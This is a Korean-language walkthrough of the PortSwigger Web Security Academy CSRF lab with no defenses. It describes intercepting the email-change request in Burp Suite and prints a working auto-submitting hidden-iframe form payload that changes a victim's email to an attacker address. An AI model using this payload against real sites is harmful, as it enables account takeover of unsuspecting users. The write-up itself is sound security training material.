< 문제 >
https://portswigger.net/web-security/csrf/lab-no-defenses
< Write-Up >
해당 문제의 사이트에는 My Account page가 존재한다. 해당 페이지에서, email 업데이트 및 확인이 가능하다. email 업데이트 패킷을 아래 그림 1과 같이 버프슈트로 Intercept 해보았다.
해당 요청은 POST로 전달이 되며, 요청 경로는 /my-account/change-email 이다. 그리고 body값으로 email에 대한 값이 전달되는 것을 확인했다. exploit을 위해 해당 문제풀이 사이트 내에 있는 exploit server로 가 response body에 아래 그림 2 와 같이 Payload를 작성하였다.
그림 2 작성 후, View exploit을 통해 결과를 확인해보았고, 그 결과는 아래 그림 3과 같다.
위 그림2의 action에 맞게 email이 변경된 것을 볼 수 있다. 즉, victim server에 해당 payload를 보낸다면 CSRF공격에 성공할 수 있다.
그림 4와 같이 Payload를 작성 후 victim에게 전달한다.
아래와 같이 iframe태그를 이용해도 email을 변경할 수 있지만, iframe 페이지가 보이기에 Victim이 알아채기 쉬워 아래의 payload는 사용하지 않을 것 같다. ( <iframe name="ifr" width="100" height="100"> 로 변경 후 View를 해보자! )
<iframe name="ifr" style="display:none"></iframe>
<form target="ifr" name = "frm" method="post"
action="https://0aae00eb04b683be818e668a007200f3.web-security-academy.net/my-account/change-email" enctype="multipart/form-data">
<input type="hidden" name="email" value="helloworld@hacker.com">
</form>
<script>
document.frm.submit();
</script>
< 참고 >
https://www.bugbountyclub.com/pentestgym/view/47
https://learn.snyk.io/lesson/csrf-attack/